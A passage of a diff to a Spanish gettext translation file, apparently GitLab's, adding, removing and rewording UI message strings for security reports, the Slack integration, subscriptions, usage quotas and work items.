msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr "Se ha producido un error al descartar las vulnerabilidades."
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr "Mostrar el explorador de archivos"
msgid "Show file contents"
msgstr "Mostrar el contenido del archivo"
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr "Mostrar los hitos del grupo"
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr "Página de inicio de sesión"
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr "Alias del proyecto"
@@ -38664,6 +39320,12 @@ msgstr "Esta integración permite a los usuarios realizar operaciones comunes en
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr "Token de verificación"
@@ -38691,10 +39353,10 @@ msgstr "Escriba la palabra que mejor describa a su equipo."
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr "IP de origen"
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr "Se eliminará la rama de origen."
@@ -39414,15 +40076,15 @@ msgstr "Iniciar una %{new_merge_request} con estos cambios"
msgid "Start a Free Ultimate Trial"
msgstr "Iniciar la versión de prueba de GitLab Ultimate"
-msgid "Start a new discussion…"
-msgstr "Comenzar una nueva discusión"
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr "Comenzar una revisión"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "Comience eligiendo un grupo para explorar los merge requests en ese grupo. Posteriormente puede proceder a filtrar por proyectos, etiquetas, hitos, autores y asignados."
@@ -39912,18 +40574,36 @@ msgstr "El recuento de uso se realiza una vez al día a 12:00 PM."
msgid "Subscriptions"
msgstr "Suscripciones"
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr "Chatear con ventas"
msgid "Subscriptions|Close"
msgstr "Cerrar"
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr "¿Aún no está listo para comprar?"
msgid "Subscriptions|Start a free trial"
msgstr "Comience una prueba gratuita"
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,8 +40841,8 @@ msgstr "Licencias en la nube"
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
-msgstr "Introduzca el código de activación"
+msgid "SuperSonics|Customers Portal"
+msgstr ""
msgid "SuperSonics|Export license usage file"
msgstr "Exportar archivo de uso de licencia"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr "Licenciado a "
-msgid "SuperSonics|Manage"
-msgstr "Gestionar"
-
msgid "SuperSonics|Maximum users"
msgstr "Usuarios máximos"
@@ -40670,15 +41350,6 @@ msgstr "solo se puede configurar una vez"
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr "solo se puede configurar con más de un %{percentage}%% de uso"
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr "Aumentar el almacenamiento temporalmente"
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr "¿Aumentar temporalmente el almacenamiento ahora?"
-
msgid "Terminal"
msgstr "Terminal"
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr "¿Utiliza Terraform? Pruebe los estados administrados de Terraform de GitLab"
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr "%{name} eliminado correctamente"
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr "Pruebas"
-
msgid "TestReports|There are no test cases to display."
msgstr "No hay conjuntos de pruebas para mostrar."
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] "El siguiente token de acceso personal: %{token_names} fue revocado, porque se estableció una nueva política de caducidad de los tokens de acceso personal."
msgstr[1] "Se revocaron los siguientes tokens de acceso personal: %{token_names} , porque se estableció una nueva política de caducidad de los tokens de acceso personal."
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "La relación con la bifurcación se ha eliminado."
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr "No hay requisitos archivados"
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "Este %{issuableDisplayName} está bloqueado. Solo los miembros del proyecto pueden comentar."
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Este commit es parte de un merge request %{link_to_merge_request}. Los comentarios creados aquí se crearán en el contexto del merge request."
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr "Este commit fue firmado con la firma verificada de un usuario diferente."
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr "Esta tarea no tiene seguimiento."
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr "Se ha cancelado esta tarea"
@@ -42346,9 +43050,6 @@ msgstr "Este trabajo está a la espera de recursos: "
msgid "This job requires a manual action"
msgstr "Este trabajo requiere una acción manual"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr "Esta variable no se puede enmascarar."
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr "Para importar un repositorio SVN, puede ver %{svn_link}."
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr "Para mantener este proyecto en marcha, crea una nueva incidencia"
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr "Volver a GitLab"
-
-msgid "Trials|Skip Trial"
-msgstr "Saltar periodo de prueba"
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr "Actualizar %{groupName} a %{planName}"
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr "Intente cambiar o quitar los filtros."
msgid "Try grouping with different labels"
msgstr "Intente agrupar con diferentes etiquetas"
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr "Se ha producido un error al conectar a la instancia de Jira. Por favor,
msgid "Unable to create link to vulnerability"
msgstr "No se puede crear un enlace a la vulnerabilidad"
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr "No se puede cargar el fichero diff. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr "No se puede analizar JSON"
@@ -44032,6 +44729,9 @@ msgstr "No programado"
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "No Destacar"
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr "Sin verificar"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "Actualizado"
@@ -44140,6 +44843,9 @@ msgstr "¡No se puede cambiar el nombre del proyecto porque el registro de conte
msgid "UpdateProject|Could not set the default branch"
msgstr "No se puede establecer la rama por defecto"
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr "¡Nuevo nivel de visibilidad no permitido!"
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr "Almacenamiento LFS"
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr "Pipelines"
-msgid "UsageQuota|Purchase more storage"
-msgstr "Comprar más almacenamiento"
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr "Almacenamiento comprado disponible"
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr "Subidas"
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr "Utilizar plantilla"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr "El usuario %{current_user_username} ha comenzado a suplantar %{username}
msgid "User %{username} was successfully removed."
msgstr "El usuario %{username} se ha eliminado correctamente."
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr "El usuario %{user} fue eliminado de %{group}."
@@ -44868,9 +45550,6 @@ msgstr "(Ocupado)"
msgid "UserProfile|Activity"
msgstr "Actividad"
-msgid "UserProfile|Already reported for abuse"
-msgstr "Ya se informó del abuso"
-
msgid "UserProfile|Blocked user"
msgstr "Usuario bloqueado"
@@ -44937,12 +45616,12 @@ msgstr "Proyectos destacados"
msgid "UserProfile|Subscribe"
msgstr "Suscribirse"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr ""
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "Este usuario no tiene seguidores."
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "Este usuario no tiene ningún proyecto personal"
-
msgid "UserProfile|This user has a private profile"
msgstr "Este usuario tiene un perfil privado"
@@ -45108,12 +45787,9 @@ msgstr "Utilizar la estrategia de cifrado requerida cuando falta el campo cifrad
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
-msgid "Valid From"
-msgstr "Valido desde"
-
msgid "Validate"
msgstr "Validar"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr "Verificado"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr "Verificar la configuración SAML"
@@ -45315,9 +45994,6 @@ msgstr "Verificar la configuración"
msgid "Version"
msgstr "Versión"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr "Ver todas las incidencias"
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr "Ver log"
msgid "View logs"
msgstr "Ver los logs"
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr "Ver hitos"
@@ -45513,6 +46195,9 @@ msgstr[1] "Ver las claves públicas GPG"
msgid "View replaced file @ "
msgstr "Ver archivo reemplazado @ "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr "Ver documentación"
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr "Vea la última despliegue con éxito en este entorno"
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr "Violación"
-msgid "Visibility"
-msgstr "Visibilidad"
-
msgid "Visibility and access controls"
msgstr "Visibilidad y control de acceso"
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr "Eventos de pipelines"
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr "Trabajo en curso (abierto y sin asignar)"
msgid "Work in progress Limit"
msgstr "Límite de trabajo en progreso"
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "Está a punto de transferir el control de su cuenta al grupo %{group_name}. Esta acción NO es reversible, no podrá acceder a ninguno de sus grupos y proyectos fuera de %{group_name} una vez completada esta transferencia."
@@ -47177,9 +47892,6 @@ msgstr "También puede pulsar ⌘-Enter"
msgid "You can also star a label to make it a priority label."
msgstr "También puede destacar una etiqueta para convertirla en una etiqueta prioritaria."
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr "También puede validar su fichero %{gitlab_ci_yml} en %{lint_link_start}CI Lint%{lint_link_end}"
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "También puede subir archivos existentes desde su ordenador utilizando las instrucciones que se muestran a continuación."
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr "Puede moverse por el gráfico usando las teclas de flecha."
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr "Puede especificar el nivel de la notificación por grupo o por proyecto."
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr "Puede probar su archivo .gitlab-ci.yml en %{linkStart}CI Lint%{linkEnd}."
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr "No puede acceder al archivo sin formato. Por favor, espere un minuto."
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr "No tiene ninguna búsquedas reciente"
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "Se le ha concedido %{access_level} acceso al %{source_link} %{source_type}."
@@ -47566,6 +48281,9 @@ msgstr "Debe tener permiso como mantenedor para forzar la eliminación de un blo
msgid "You must provide a valid current password"
msgstr "Debe proporcionar una contraseña válida"
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr "Debe introducir su contraseña actual para poder cambiarla."
@@ -47719,8 +48437,10 @@ msgstr "Ya ha habilitado la autenticación de dos pasos utilizando una contraseÃ
msgid "You've rejected %{user}"
msgstr "Ha rechazado a %{user}"
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr "YouTube"
@@ -47958,6 +48678,9 @@ msgstr "Su mensaje aquí"
msgid "Your name"
msgstr "Tu nombre"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,8 +48708,8 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr "Su token para restablecer la contraseña ha caducado."
-msgid "Your personal access token has expired"
-msgstr "Su token de acceso personal ha caducado"
+msgid "Your personal access tokens have expired"
+msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr "Sus tokens de acceso personal caducarán en %{days_to_expire} días o menos"
@@ -48062,6 +48785,9 @@ msgstr "Su actualización ha fallado. Debe cargar un archivo con el mismo nombre
msgid "Your username is %{username}."
msgstr "Su nombre de usuario es %{username}."
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
